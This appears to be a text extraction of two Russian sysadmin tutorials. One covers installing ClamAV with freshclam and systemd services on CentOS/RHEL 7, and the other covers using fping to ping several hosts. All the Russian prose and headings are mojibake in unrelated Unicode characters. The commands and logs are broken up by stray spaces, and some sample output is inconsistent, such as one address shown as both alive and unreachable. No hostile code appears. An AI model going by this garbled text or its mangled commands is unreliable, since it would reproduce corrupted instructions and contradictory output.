ʉʢʘʯʘʪʴ TENS 

 

 

ǻșȚȈȕȖȊȒȈ Ȑ ȕȈșȚȘȖȑȒȈ ClamAV Linux 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/15-luchshix-distributivov-linux-orientirovannyx-na-anonimnost-i-bezopasnost/15.jpg
https://wiki.merionet.ru/images/15-luchshix-distributivov-linux-orientirovannyx-na-anonimnost-i-bezopasnost/15.jpg
http://www.gettens.online/
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ClamAV ʷʚʣʷʝʪʩʷ ʘʥʪʠʚʠʨʫʩʦʤ ʩ ʦʪʢʨʳʪʳʤ ʠʩʭʦʜʥʳʤ ʢʦʜʦʤ. ɽʛʦ ʠʩʧʦʣʴʟʫʶʪ ʜʣʷ 

ʦʙʥʘʨʫʞʝʥʠʷ ʚʠʨʫʩʦʚ, ʚʨʝʜʦʥʦʩʥʳʭ ʧʨʦʛʨʘʤʤ ʠ ʚʨʝʜʦʥʦʩʥʦʛʦ ʧʨʦʛʨʘʤʤʥʦʛʦ 

ʦʙʝʩʧʝʯʝʥʠʷ ʥʘ ʢʦʤʧʴʶʪʝʨʘʭ ʧʦʜ ʫʧʨʘʚʣʝʥʠʝʤ Linux ʠ ʜʘʞʝ ʚ ʨʝʰʝʥʠʷʭ ʠʤʝʥʠʪʳʭ 

ʚʝʥʜʦʨʦʚ, ʪʘʢ ʢʘʢ ʵʪʘ ʨʘʟʨʘʙʦʪʢʘ ʙʳʣʘ ʚʳʢʫʧʣʝʥʘ ʢʦʤʧʘʥʠʝʡ Cisco, ʥʦ ʚʩʝ ʞʝ 

ʦʩʪʘʚʣʝʥʘ ʚ ʚʠʜʝ open-source. ʋʛʨʦʟʘ ʩʦ ʩʪʦʨʦʥʳ ʚʠʨʫʩʦʚ, ʪʨʦʷʥʦʚ ʠ ʜʨʫʛʠʭ 

ʚʨʝʜʦʥʦʩʥʳʭ ʧʨʦʛʨʘʤʤ ʚʩʝʛʜʘ ʚʦʟʤʦʞʥʘ, ʠʭ ʢʦʣʠʯʝʩʪʚʦ ʨʘʩʪʝʪ ʚ ʛʝʦʤʝʪʨʠʯʝʩʢʦʡ 

ʧʨʦʛʨʝʩʩʠʠ ʢʘʢ ʧʦ ʢʦʣʠʯʝʩʪʚʫ, ʪʘʢ ʠ ʧʦ ʩʣʦʞʥʦʩʪʠ, ʠ ʘʥʪʠʚʠʨʫʩʥʦʝ ʧʨʦʛʨʘʤʤʥʦʝ 

ʦʙʝʩʧʝʯʝʥʠʝ ʚʩʝʛʜʘ ʜʦʣʞʥʦ ʠʩʧʦʣʴʟʦʚʘʪʴ ʩʣʦʞʥʳʝ ʤʝʪʦʜʳ ʦʙʥʘʨʫʞʝʥʠʷ. ʅʠʢʦʛʜʘ 

ʥʝʣʴʟʷ ʜʘʪʴ ʛʘʨʘʥʪʠʠ, ʯʪʦ ʚʘʰʘ ʩʠʩʪʝʤʘ ʥʝ ʩʪʘʥʝʪ ʞʝʨʪʚʦʡ ʵʪʠʭ ʥʝʞʝʣʘʪʝʣʴʥʳʭ 

ʬʨʘʛʤʝʥʪʦʚ ʢʦʜʘ, ʪʘʢ ʯʪʦ ʚʘʞʥʦ ʦʩʪʘʚʘʪʴʩʷ ʚʥʠʤʘʪʝʣʴʥʳʤ ʧʨʠ ʠʩʧʦʣʴʟʦʚʘʥʠʠ 

ʀʥʪʝʨʥʝʪʘ ʠ ʩʦʚʤʝʩʪʥʦʤ ʠʩʧʦʣʴʟʦʚʘʥʠʠ ʬʘʡʣʦʚ. ʅʫ ʠ ʦʪʩʶʜʘ ʚʳʪʝʢʘʝʪ 

ʥʝʦʙʭʦʜʠʤʦʩʪʴ ʨʝʘʣʠʟʘʮʠʠ ʧʦʣʠʪʠʢ ʙʝʟʦʧʘʩʥʦʩʪʠ ʥʘ ʦʩʥʦʚʝ ʟʜʨʘʚʦʛʦ ʩʤʳʩʣʘ ʠ 

ʠʩʧʦʣʴʟʦʚʘʥʠʠ ʩʦʚʨʝʤʝʥʥʳʭ ʘʥʪʠʚʠʨʫʩʥʳʭ ʧʨʦʛʨʘʤʤ.

 

ɋɉɊȿɅɆɁȺȿ ENCOCW 

ʏʪʦʙʳ ʫʩʪʘʥʦʚʠʪʴ ClamAV ʚ CentOS / RHEL 7, ʥʘʤ ʥʫʞʥʦ ʫʩʪʘʥʦʚʠʪʴ ʨʝʧʦʟʠʪʦʨʠʡ 

EPEL: 

# yum install epel - release  

ɿʘʪʝʤ ʥʝʦʙʭʦʜʠʤʦ ʫʩʪʘʥʦʚʠʪʴ ClamAV ʩʦ ʚʩʝʤʠ ʝʛʦ ʧʦʣʝʟʥʳʤʠ ʠʥʩʪʨʫʤʝʥʪʘʤʠ: 

# yum - y install clamav - server clamav - data clamav - update clamav - filesystem 

clamav clamav - scanner - systemd clamav - devel clamav - lib clamav - server - systemd  

 

ɅȿɉɊɈɆɢȺȿ ȿɅɊȼɁȼɈɋɉȿ ENCOCW 
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ɼʣʷ ʥʘʩʪʨʦʡʢʠ ClamAV ʚ ʧʝʨʚʫʶ ʦʯʝʨʝʜʴ ʥʘʤ ʥʫʞʥʦ ʫʜʘʣʠʪʴ ʢʦʥʬʠʛʫʨʘʮʠʶ ʧʦ 

ʫʤʦʣʯʘʥʠʶ, ʯʪʦʙʳ ʩʦʟʜʘʪʴ ʩʚʦʶ: 

# sed - i '/^Example/d' /etc/clamd.d/scan.conf  

ʇʦʩʣʝ ʫʜʘʣʝʥʠʷ ʩʪʨʦʢ ʧʨʠʤʝʨʘ ʥʫʞʥʦ ʩʜʝʣʘʪʴ ʥʝʢʦʪʦʨʳʝ ʧʨʘʚʢʠ, ʯʪʦʙʳ 

ʦʧʨʝʜʝʣʠʪʴ ʪʠʧ ʩʝʨʚʝʨʘ TCP ʠ ʧʨʝʜʦʩʪʘʚʠʪʴ root ʧʨʘʚʘ ʜʣʷ ʟʘʧʫʩʢʘ ʘʥʪʠʚʠʨʫʩʘ: 

# vim /etc/clamd.d/scan.conf  

ɿʥʘʯʝʥʠʝ, ʜʘʥʥʦʝ ʩ LocalSocket, ʷʚʣʷʝʪʩʷ ʬʘʡʣʦʤ, ʠʩʧʦʣʴʟʫʶʱʠʤ ʩʚʷʟʠ ʩ 

ʚʥʝʰʥʠʤʠ ʧʨʦʮʝʩʩʘʤʠ. ʉʣʝʜʫʝʪ ʚʳʧʦʣʥʠʪʴ ʩʣʝʜʫʶʱʫʶ ʩʪʨʦʢʫ: 

LocalSocket  / var / run / clamd . scan / clamd . sock  

ɼʦʙʘʚʣʷʝʤ ʵʪʠ ʜʚʝ ʩʪʨʦʢʠ ʚ ʢʦʥʝʮ ʬʘʡʣʘ ʠ ʩʦʭʨʘʥʷʝʤ: 

User  root  

LocalSocket  / var / run / clamd .< SERVICE>/ clamd . sock  

ʏʪʦʙʳ ʧʦʜʜʝʨʞʠʚʘʪʴ ʙʘʟʫ ʜʘʥʥʳʭ ʩʠʛʥʘʪʫʨ ClamAV ʚ ʘʢʪʫʘʣʴʥʦʤ ʩʦʩʪʦʷʥʠʠ, 

ʥʝʦʙʭʦʜʠʤʦ ʚʢʣʶʯʠʪʴ ʠʥʩʪʨʫʤʝʥʪ ʧʦʜ ʥʘʟʚʘʥʠʝʤ Freshclam. ʇʦʵʪʦʤʫ ʥʫʞʥʦ 

ʩʦʟʜʘʪʴ ʬʘʡʣ ʨʝʟʝʨʚʥʦʡ ʢʦʧʠʠ ʠʟ ʝʛʦ ʬʘʡʣʘ ʢʦʥʬʠʛʫʨʘʮʠʠ: 

# cp /etc/freshclam.conf /etc/freshclam.conf.bak  

Freshclam ʯʠʪʘʝʪ ʩʚʦʶ ʢʦʥʬʠʛʫʨʘʮʠʶ ʠʟ /etc/freshclam.conf. ʌʘʡʣ ʩʦʜʝʨʞʠʪ 

ʩʪʨʦʢʫ ʩʦ ʩʣʦʚʦʤ ʇʨʠʤʝʨ, ʯʪʦʙʳ ʧʦʣʴʟʦʚʘʪʝʣʠ ʥʝ ʤʦʛʣʠ ʠʩʧʦʣʴʟʦʚʘʪʴ ʟʥʘʯʝʥʠʷ 

ʧʦ ʫʤʦʣʯʘʥʠʶ, ʠʭ ʥʝʦʙʭʦʜʠʤʦ ʫʜʘʣʠʪʴ ʠʭ ʠʣʠ ʟʘʢʦʤʤʝʥʪʠʨʦʚʘʪʴ, ʧʨʝʞʜʝ ʯʝʤ 

https://wiki.merionet.ru/
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ʩʤʦʞʝʤ ʠʩʧʦʣʴʟʦʚʘʪʴ freshclam. ɸ ʪʘʢ ʢʘʢ ʥʝ ʚʩʝ ʥʘʩʪʨʦʡʢʠ ʧʦ ʫʤʦʣʯʘʥʠʶ ʥʝ 

ʧʦʜʭʦʜʷʪ ʜʣʷ ʥʘʰʠʭ ʮʝʣʝʡ, ʧʨʠʜʝʪʩʷ ʚʥʠʤʘʪʝʣʴʥʦ ʧʨʦʚʝʨʠʪʴ ʬʘʡʣ ʠ ʨʝʰʠʪʴ, ʯʪʦ 

ʥʘʤ ʧʦʥʘʜʦʙʠʪʩʷ. ʂʘʞʜʘʷ ʢʦʤʘʥʜʘ ʪʘʢʞʝ ʙʫʜʝʪ ʧʨʦʢʦʤʤʝʥʪʠʨʦʚʘʥʘ. 

# sed - i '/^Example/d' /etc/freshclam.conf  

ʅʘʤ ʥʫʞʥʦ ʟʘʧʫʩʪʠʪʴ Freshclam, ʯʪʦʙʳ ʦʙʥʦʚʠʪʴ ʙʘʟʫ ʜʘʥʥʳʭ ʠ ʧʨʦʚʝʨʠʪʴ, 

ʫʩʧʝʰʥʦ ʣʠ ʟʘʜʘʥʘ ʢʦʥʬʠʛʫʨʘʮʠʷ: 

# freshclam  

ClamAV update process started at Tue Nov 6 15: 51: 59 2018  

WARNING:  Can't query current.cvd.clamav.net  

WARNING: Invalid DNS reply. Falling back to HTTP mode.  

Reading CVD header (main.cvd): OK (IMS)  

main.cvd is up to date (version: 58, sigs: 4566249, f - level: 60, builder: 

sigmgr)  

Reading CVD header (daily.cvd): OK  

Downloading daily - 25006.cdiff [100%]  

Downloading daily - 25092.cdiff [100%]  

Downloading daily - 25093.cdiff [100%]  
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Downloading daily - 25094.cdiff [100%]  

Downloading daily - 25095.cdiff [100%]  

daily.cld updated (version: 25095, sigs: 2143057, f - level: 63, builder: neo)  

Reading CVD header (bytecode.cvd): OK  

bytecode.cvd is up to date (version: 327, sigs: 91, f - level: 63, builder: 

neo)  

Database updated (6709397 signatures) from database.clamav.net (IP: 

104.16.186.138)  

ʇʨʦʮʝʩʩ ʚʳʚʦʜʠʪ ʩʚʦʡ ʧʨʦʛʨʝʩʩ-ʙʘʨ ʚ ʪʝʨʤʠʥʘʣ, ʠ ʚʳ ʤʦʞʝʪʝ ʫʚʠʜʝʪʴ ʥʝʩʢʦʣʴʢʦ 

ʩʦʦʙʱʝʥʠʡ ʦʙ ʦʰʠʙʢʘʭ. ʅʘʧʨʠʤʝʨ, ʦʥ ʤʦʞʝʪ ʩʦʦʙʱʠʪʴ, ʯʪʦ ʝʤʫ ʥʝ ʫʜʘʣʦʩʴ 

ʟʘʛʨʫʟʠʪʴ ʥʫʞʥʳʡ ʬʘʡʣ. ʅʝ ʧʘʥʠʢʫʡʪʝ - freshclam ʧʦʧʨʦʙʫʝʪ ʥʝʩʢʦʣʴʢʦ ʟʝʨʢʘʣ. ʆʥ 

ʩʦʦʙʱʘʝʪ, ʯʪʦ main.cvd, daily.cvd ʠ bytecode.cvd ʦʙʥʦʚʣʷʶʪʩʷ, ʠ ʧʦ ʟʘʚʝʨʰʝʥʠʠ, 

ʚʳ ʙʫʜʝʪʝ ʟʥʘʪʴ, ʯʪʦ ʫ ʚʘʩ ʝʩʪʴ ʧʦʩʣʝʜʥʠʝ ʩʠʛʥʘʪʫʨʳ. 

ʄʳ ʤʦʞʝʤ ʟʘʧʫʩʪʠʪʴ freshclam ʚ ʣʶʙʦʝ ʚʨʝʤʷ, ʢʦʛʜʘ ʥʝʦʙʭʦʜʠʤʦ ʫʙʝʜʠʪʴʩʷ, ʯʪʦ 

ʙʘʟʳ ʜʘʥʥʳʭ ʩʠʛʥʘʪʫʨ ʦʙʥʦʚʣʝʥʳ, ʥʦ ʙʳʣʦ ʙʳ ʥʝʫʜʦʙʥʦ ʚʩʝʛʜʘ ʟʘʧʫʩʢʘʪʴ ʝʛʦ 

ʚʨʫʯʥʫʶ. ʇʨʠ ʟʘʧʫʩʢʝ ʩ ʘʨʛʫʤʝʥʪʦʤ -d freshclam ʙʫʜʝʪ ʨʘʙʦʪʘʪʴ ʠ ʧʝʨʠʦʜʠʯʝʩʢʠ 

ʧʨʦʚʝʨʷʪʴ ʥʘʣʠʯʠʝ ʦʙʥʦʚʣʝʥʠʡ ʚ ʪʝʯʝʥʠʝ ʜʥʷ (ʧʦ ʫʤʦʣʯʘʥʠʶ ʢʘʞʜʳʝ ʜʚʘ ʯʘʩʘ). 

ʏʪʦʙʳ ʩʦʭʨʘʥʠʪʴ ʥʝʢʠʡ ʧʦʨʷʜʦʢ ʚ ʩʠʩʪʝʤʝ, ʤʳ ʩʦʟʜʘʣʠ ʬʘʡʣ ʩʣʫʞʙʳ ʜʣʷ ʟʘʧʫʩʢʘ 

freshclam ʠ ʟʘʨʝʛʠʩʪʨʠʨʦʚʘʣʠ ʝʛʦ ʚ systemd: 

# vim /usr/lib/systemd/system/clam - freshclam.service  
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ɿʘʪʝʤ ʤʳ ʧʦʤʝʱʘʝʤ ʩʣʝʜʫʶʱʠʡ ʢʦʜ ʚ ʬʘʡʣ ʠ ʩʦʭʨʘʥʷʝʤ ʝʛʦ: 

[ Unit ]  

Description  = freshclam scanner  

After  = network . target  

[ Service ]  

Type  = forking  

ExecStart  = /usr/ bin / freshclam - d - c 4 

Restart  = on- failure  

PrivateTmp  = true  

RestartSec  = 20sec  

[ Install ]  

WantedBy =multi - user . target  

ʈʘʟʜʝʣ [Unit] ʦʧʨʝʜʝʣʷʝʪ ʦʩʥʦʚʥʳʝ ʘʪʨʠʙʫʪʳ ʩʝʨʚʠʩʘ, ʪʘʢʠʝ ʢʘʢ ʝʛʦ ʦʧʠʩʘʥʠʝ ʠ 

ʝʛʦ ʟʘʚʠʩʠʤʦʩʪʴ ʦʪ ʩʝʪʝʚʦʛʦ ʩʦʝʜʠʥʝʥʠʷ. ʈʘʟʜʝʣ [Service] ʦʧʨʝʜʝʣʷʝʪ ʩʘʤ 

ʩʝʨʚʠʩ, ExecStart ʙʫʜʝʪ ʟʘʧʫʩʢʘʪʴ freshclam ʩ ʘʨʛʫʤʝʥʪʦʤ -d, Type ʩʦʦʙʱʘʝʪ 

systemd, ʯʪʦ ʧʨʦʮʝʩʩ ʙʫʜʝʪ ʨʘʟʚʝʪʚʣʷʪʴʩʷ ʠ ʟʘʧʫʩʢʘʪʴʩʷ ʚ ʬʦʥʦʚʦʤ ʨʝʞʠʤʝ, ʘ ʧʨʠ 

ʧʝʨʝʟʘʧʫʩʢʝ systemd ʦʪʩʣʝʞʠʚʘʝʪ ʩʝʨʚʠʩ ʠ ʧʝʨʝʟʘʧʫʩʢʘʝʪ ʝʛʦ ʘʚʪʦʤʘʪʠʯʝʩʢʠ ʚ 
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ʩʣʫʯʘʝ. ʈʘʟʜʝʣ [Install] ʦʧʨʝʜʝʣʷʝʪ, ʢʘʢ ʦʥ ʙʫʜʝʪ ʩʚʷʟʘʥ, ʢʦʛʜʘ ʟʘʧʫʩʪʠʪʩʷ 

systemctl enable. 

ʇʝʨʝʟʘʛʨʫʟʠʪʝ systemd, ʯʪʦʙʳ ʧʨʠʤʝʥʠʪʴ ʠʟʤʝʥʝʥʠʷ: 

# systemctl daemon - reload  

ɼʘʣʝʝ ʟʘʧʫʩʪʠʪʝ ʠ ʚʢʣʶʯʠʪʝ ʩʝʨʚʠʩ freshclam: 

# systemctl start clam - freshclam.service  

# systemctl status clam - freshclam.service  

clam - freshclam . service -  freshclam scanner  

oaded :  loaded ( /usr/ lib / systemd / system / clam - freshclam . service ;  disabled ;  

vendor preset :  disabled )  

Active :  active ( running )  since Tue 2018 - 11- 06 15: 56: 53 IST ;  3s  ago  

Process :  7926  ExecStart =/usr/ bin / freshclam - d - c 4 ( code =exited ,  

status =0/ SUCCESS)  

Main  PID :  7927  ( freshclam )  

CGroup:  /system.slice/ clam - freshclam . service  

L- 7927  / usr / bin / freshclam - d - c 4 

Nov 06 15: 56: 53 node2 . example . com systemd [ 1]:  Starting  freshclam scanner ...  
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Nov 06 15: 56: 53 node2 . example . com systemd [ 1]:  Started  freshclam scanner .  

Nov 06 15: 56: 53 node2 . example . com freshclam [ 7927 ]:  freshclam daemon 0.100 . 2 

( OS:  linux - gnu ,  ARCH:  x86_64 ,  CPU:  x86_64 )  

Nov 06 15: 56: 53 node2 . example . com freshclam [ 7927 ]:  ClamAV update process 

started at Tue Nov 6 15: 56: 53 2018  

ɽʩʣʠ ʚʩʝ ʨʘʙʦʪʘʝʪ ʥʦʨʤʘʣʴʥʦ, ʜʦʙʘʚʣʷʝʤ ʝʛʦ ʚ ʩʣʫʞʙʫ ʟʘʧʫʩʢʘ ʩʠʩʪʝʤʳ: 

# systemctl enable clam - freshclam.service  

Created  symlink from  / etc / systemd / system / multi - user . target . wants / clam -

freshclam . service to / usr / lib / systemd / system / clam - freshclam . service .  

ʊʝʧʝʨʴ ʜʣʷ ʥʘʩʪʨʦʡʢʠ ClamAV ʥʝʦʙʭʦʜʠʤʦ ʩʦʟʜʘʪʴ ʬʘʡʣ ʩʝʨʚʠʩʘ ClamAV. ʋ ʥʘʩ 

ʝʩʪʴ ʧʨʠʤʝʨ ʬʘʡʣʘ ʩʣʫʞʙʳ, ʢʦʪʦʨʳʡ ʥʘʤ ʥʫʞʥʦ ʩʢʦʧʠʨʦʚʘʪʴ ʚ ʧʘʧʢʫ ʩʠʩʪʝʤʥʳʭ 

ʩʣʫʞʙ. ʅʘʤ ʥʫʞʥʦ ʠʟʤʝʥʠʪʴ ʝʛʦ ʠʤʷ ʥʘ ʯʪʦ-ʪʦ ʧʦʥʷʪʥʦʝ. ɿʘʪʝʤ ʥʘʤ ʥʫʞʥʦ ʚʥʝʩʪʠ ʚ 

ʥʝʛʦ ʥʝʙʦʣʴʰʠʝ ʠʟʤʝʥʝʥʠʷ: 

# mv /usr/lib/systemd/system/clamd@.service 

/usr/lib/systemd/system/clamd.service  

ʇʦʩʢʦʣʴʢʫ ʤʳ ʠʟʤʝʥʠʣʠ ʠʤʷ, ʥʘʤ ʥʫʞʥʦ ʠʟʤʝʥʠʪʴ ʝʛʦ ʚ ʬʘʡʣʝ, ʢʦʪʦʨʳʡ ʪʘʢʞʝ 

ʠʩʧʦʣʴʟʫʝʪ ʵʪʦʪ ʩʝʨʚʠʩ: 

# vim /usr/lib/systemd/system/clamd@scan.service  

ʄʳ ʠʟʤʝʥʠʣʠ ʧʝʨʚʫʶ ʩʪʨʦʢʫ, ʫʜʘʣʠʚ @, ʯʪʦʙʳ ʵʪʦ ʚʳʛʣʷʜʝʣʦ ʪʘʢ: 

. include / lib / systemd / system / clamd . service  
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ɺ ʪʦʤ ʞʝ ʤʝʩʪʝ ʥʘʤ ʥʫʞʥʦ ʠʟʤʝʥʠʪʴ ʬʘʡʣ ʩʝʨʚʠʩʘ Clamd: 

# vim /usr/lib/systemd/system/clamd.service  

ʄʳ ʜʦʙʘʚʣʷʝʤ ʩʣʝʜʫʶʱʠʝ ʩʪʨʦʢʠ ʚ ʢʦʥʮʝ: 

[ Install ]  

WantedBy =multi - user . target  

ʋʜʘʣʷʝʤ % i ʠʟ ʦʧʮʠʡ Description ʠ ExecStart. ɿʘʪʝʤ ʠʟʤʝʥʷʝʤ ʠʭ, ʯʪʦʙʳ ʦʥʠ 

ʚʳʛʣʷʜʝʣʠ ʩʣʝʜʫʶʱʠʤ ʦʙʨʘʟʦʤ: 

Description  = clamd scanner daemon  

ExecStart  = /usr/ sbin / clamd - c / etc / clamd . d/ scan . conf  

TimeoutSec =5min  

Restart  = on- failure  

RestartSec =10sec  

ɼʘʣʝʝ ʟʘʧʫʩʪʠʪʝ ʩʝʨʚʠʩ clamv 

# systemctl start clamd.service  

# systemctl status clamd.service  

clamd . service -  clamd scanner daemon  
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Loaded :  loaded ( /usr/ lib / systemd / system / clamd . service ;  enabled ;  vendor 

preset :  disabled )  

Active :  active ( running )  since Tue 2018 - 11- 06 19: 48: 17 IST ;  16s  ago  

Docs :  man: clamd ( 8)  

man: clamd . conf ( 5)  

https :// www.clamav.net/documents/  

Process :  1460  ExecStart =/usr/ sbin / clamd - c / etc / clamd . d/ scan . conf 

( code =exited ,  status =0/ SUCCESS)  

Main  PID :  1461  ( clamd )  

CGroup:  /system.slice/ clamd . service  

L- 1461  / usr / sbin / clamd - c / etc / clamd . d/ scan . conf  

Nov 06 19: 48: 15 node2 . example . com clamd [ 1461 ]:  ELF support enabled .  

Nov 06 19: 48: 15 node2 . example . com clamd [ 1461 ]:  Mail  files support enabled .  

Nov 06 19: 48: 15 node2 . example . com clamd [ 1461 ]:  OLE2 support enabled .  

Nov 06 19: 48: 15 node2 . example . com clamd [ 1461 ]:  PDF support enabled .  

Nov 06 19: 48: 15 node2 . example . com clamd [ 1461 ]:  SWF support enabled .  

Nov 06 19: 48: 15 node2 . example . com clamd [ 1461 ]:  HTML support enabled .  

https://wiki.merionet.ru/
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Nov 06 19: 48: 15 node2 . example . com clamd [ 1461 ]:  XMLDOCS support enabled .  

Nov 06 19: 48: 15 node2 . example . com clamd [ 1461 ]:  HWP3 support enabled .  

Nov 06 19: 48: 15 node2 . example . com clamd [ 1461 ]:  Self  checking every 600  

seconds .  

Nov 06 19: 48: 17 node2 . example . com systemd [ 1]:  Started  clamd scanner daemon .  

ɽʩʣʠ ʚʩʝ ʭʦʨʦʰʦ, ʪʦ ʚʢʣʶʯʠʪʝ ʩʝʨʚʠʩ clamd. 

# systemctl enable clamd.service  

Created  symlink from  / etc / systemd / system / multi -

user . target . wants / clamd . service to / usr / lib / systemd / system / clamd . service .  

ɼʣʷ ʧʨʦʚʝʨʢʠ ʪʝʢʫʱʝʡ ʧʘʧʢʠ ʤʳ ʟʘʧʫʩʢʘʝʤ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ: 

# clamscan -- infected -- remove -- recursive ./  

-----------  SCAN SUMMARY -----------  

Known viruses :  6702413  

Engine  version :  0.100 . 2 

Scanned  directories :  7 

Scanned  files :  9 

Infected  files :  0 
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Data  scanned :  0.01  MB 

Data  read :  0.00  MB ( ratio 2.00 : 1)  

Time :  25.439  sec ( 0 m 25 s)  

ʄʳ ʥʘʜʝʝʤʩʷ ʚʳ ʧʨʘʚʠʣʴʥʦ ʚʳʧʦʣʥʠʣʠ ʚʩʝ ʵʪʘʧʳ ʥʘʩʪʨʦʡʢʠ ClamAV ʚ RHEL / 

CentOS 7 Linux ʠ ʦʥʠ ʦʢʘʟʘʣʠʩʴ ʧʦʣʝʟʥʳ ʜʣʷ ʚʘʩ ʚ ʪʦʤ ʠʣʠ ʠʥʦʤ ʚʠʜʝ. 

 

 

ǻșȚȈȕȖȊȒȈ Ȑ ȐșȗȖȓȤȏȖȊȈȕȐȍ fping Ȋ Linux 

ʇʠʥʛ. ʏʪʦ ʤʦʞʝʪ ʙʳʪʴ ʧʨʦʱʝ? ʉʪʘʥʜʘʨʪʥʘʷ ʦʧʝʨʘʮʠʷ ʦʪʧʨʘʚʢʠ ʵʭʦ-ʟʘʧʨʦʩʘ ICMP 

(Internet Control Message Protocol) ʜʣʷ ʧʨʦʚʝʨʢʠ ʜʦʩʪʫʧʥʦʩʪʠ. ʇʠʰʝʪʝ ʚ ʢʦʤʘʥʜʥʦʡ 

ʩʪʨʦʢʝ ping, ʟʘʪʝʤ ʘʜʨʝʩ ʠ ʛʦʪʦʚʦ! ɼʝʡʩʪʚʠʪʝʣʴʥʦ, ʧʨʦʱʝ ʥʝʢʫʜʘ. ɸ ʯʪʦ ʝʩʣʠ ʥʘʤ 

ʥʘʦʙʦʨʦʪ, ʥʫʞʥʦ ʯʪʦ-ʪʦ ʧʦʩʣʦʞʥʝʝ? ɼʣʷ ʵʪʦʛʦ ʚ Linux ʚʘʤ ʧʦʤʦʞʝʪ ʫʪʠʣʠʪʘ fping.

 

ɏɊɆ ɊȿȺɆɂ HRKPIA 

Fping ï ʵʪʦ ʠʥʩʪʨʫʤʝʥʪ, ʘʥʘʣʦʛʠʯʥʳʡ ʫʪʠʣʠʪʝ ping, ʥʦ ʛʦʨʘʟʜʦ ʙʦʣʝʝ 

ʧʨʦʠʟʚʦʜʠʪʝʣʴʥʳʡ ʚ ʩʣʫʯʘʝ, ʢʦʛʜʘ ʥʘʤ ʥʫʞʥʦ ʩʜʝʣʘʪʴ ʧʠʥʛ ʜʦ ʥʝʩʢʦʣʴʢʠʭ ʫʟʣʦʚ. ʉ 

fping ʤʦʞʥʦ ʠʩʧʦʣʴʟʦʚʘʪʴ ʬʘʡʣʳ ʩʦ ʩʧʠʩʢʦʤ ʘʜʨʝʩʦʚ ʠʣʠ ʜʘʞʝ ʫʢʘʟʳʚʘʪʴ ʮʝʣʳʝ 

ʜʠʘʧʘʟʦʥʳ ʩʝʪʝʡ ʩ ʤʘʩʢʦʡ. 

 

ɋɉɊȿɅɆɁȺȿ 
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ɺ ʙʦʣʴʰʠʥʩʪʚʝ ʜʠʩʪʨʠʙʫʪʠʚʦʚ Linux ʧʘʢʝʪ fping ʤʦʞʥʦ ʫʩʪʘʥʦʚʠʪʴ ʠʟ 

ʨʝʧʦʟʠʪʦʨʠʝʚ: 

# sudo apt install fping    [ɼʣʷDebian/Ubuntu] 

# sudo yum install fping   [ɼʣʷ CentOS/RHEL] 

# sudo dnf install fping   [ɼʣʷ Fedora 22+] 

# sudo pacman - S fping     [ɼʣʷ Arch Linux] 

ɽʩʣʠ ʥʫʞʥʦ ʫʩʪʘʥʦʚʠʪʴ ʠʟ ʠʩʭʦʜʥʦʛʦ ʧʘʢʝʪʘ, ʪʦ ʠʩʧʦʣʴʟʫʶʪʩʷ ʩʣʝʜʫʶʱʠʝ 

ʢʦʤʘʥʜʳ: 

$ wget https :// fping.org/dist/fping - 4.0.tar.gz  

$ tar - xvf fping - 4.0 . tar . gz  

$ cd fping - 4.0 /  

$ ./ configure  

$ make && make install  

ɻʦʪʦʚʦ! ʊʝʧʝʨʴ ʧʦʩʤʦʪʨʠʤ, ʯʪʦ ʤʳ ʩʤʦʞʝʤ ʩʜʝʣʘʪʴ ʩ ʧʦʤʦʱʴʶ fping 

 

ɇȼɅɝ ɄɅɆɃɂɉɊɁȿ ȿɠɈɂɉɆɁ 

ʀʩʧʦʣʴʟʫʡʪʝ ʢʦʤʘʥʜʫ fping, ʘ ʟʘʪʝʤ ʯʝʨʝʟ ʧʨʦʙʝʣ ʫʢʘʞʠʪʝ ʥʫʞʥʳʝ IP ʘʜʨʝʩʘ 
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# fping 192.168.1.1 192.168.1. 192.168.1.3  

 

192.168 . 1.1  is  alive  

192.168 . 1.1  is  unreachable  

192.168 . 1.3  is  unreachable  

 

ɇȼɅɝ ɠȼȿɇȿɡɆɅȿ ȿɠɈɂɉɆɁ 

ʀʩʧʦʣʴʟʫʡʪʝ ʢʣʶʯʠ ïs ʠ ïg, ʧʦʩʣʝ ʢʦʪʦʨʳʭ ʫʢʘʞʠʪʝ ʧʝʨʚʳʡ ʠ ʧʦʩʣʝʜʥʠʡ ʘʜʨʝʩ 

ʜʠʘʧʘʟʦʥʘ. 

# fping - s - g 192.168.0.1 192.168.0.9  

 

192.168 . 0.1  is  alive  

192.168 . 0.2  is  alive  

ICMP Host  Unreachable  from  192.168 . 0.2  for  ICMP Echo sent to 192.168 . 0.3  

ICMP Host  Unreachable  from  192.168 . 0.2  for  ICMP Echo sent to 192.168 . 0.3  

ICMP Host  Unreachable  from  192.168 . 0.2  for  ICMP Echo sent to 192.168 . 0.3  

ICMP Host  Unreachable  from  192.168 . 0.2  for  ICMP Echo sent to 192.168 . 0.4  
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192.168 . 0.3  is  unreachable  

192.168 . 0.4  is  unreachable  

 

8      9 targets  

       2 alive  

       2 unreachable  

       0 unknown addresses  

 

       4 timeouts ( waiting for  response )  

       9 ICMP Echos  sent  

       2 ICMP Echo  Replies  received  

      2 other ICMP received  

 

 0.10  ms ( min round trip time )  

 0.21  ms ( avg round trip time )  

 0.32  ms ( max round trip time )  
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        4.295  sec ( elapsed real time )  

 

ɇȼɅɝ ɎɂɣɆɢ ɇɆɠɉɂɊȼ 

ʋʢʘʞʠʪʝ ʤʘʩʢʫ ʧʦʜʩʝʪʠ ʯʝʨʝʟ ʩʣʝʰ, ʯʪʦʙʳ ʧʨʦʧʠʥʛʦʚʘʪʴ ʚʩʶ ʧʦʜʩʝʪʴ. ʂʣʶʯ ïr 1 

ʫʢʘʟʳʚʘʝʪ ʥʘ ʪʦ, ʯʪʦ ʙʫʜʝʪ ʦʜʥʦ ʧʦʚʪʦʨʝʥʠʝ ʦʧʝʨʘʮʠʠ 

# fping - g - r 1 192.168.0.0/24  

 

ɇȼɅɝ ɉ ȿɠɈɂɉȿɄȼ ȼɡ Ɍȿɢɣȿ 

ʄʦʞʥʦ ʟʘʧʠʩʘʪʴ ʚ ʬʘʡʣ ʩʧʠʩʦʢ ʘʜʨʝʩʦʚ (ʚ ʥʘʰʝʤ ʩʣʫʯʘʝ ʤʳ ʥʘʟʚʘʣʠ ʝʛʦ 

merionfping.txt), ʠ ʟʘʯʠʪʘʪʴ ʠʟ ʥʝʛʦ ʘʜʨʝʩʘ ʜʣʷ ʧʠʥʛʘ 

# fping < fping.txt  

192.168 . 1.20  is  alive  

192.168 . 1.100  is  alive  

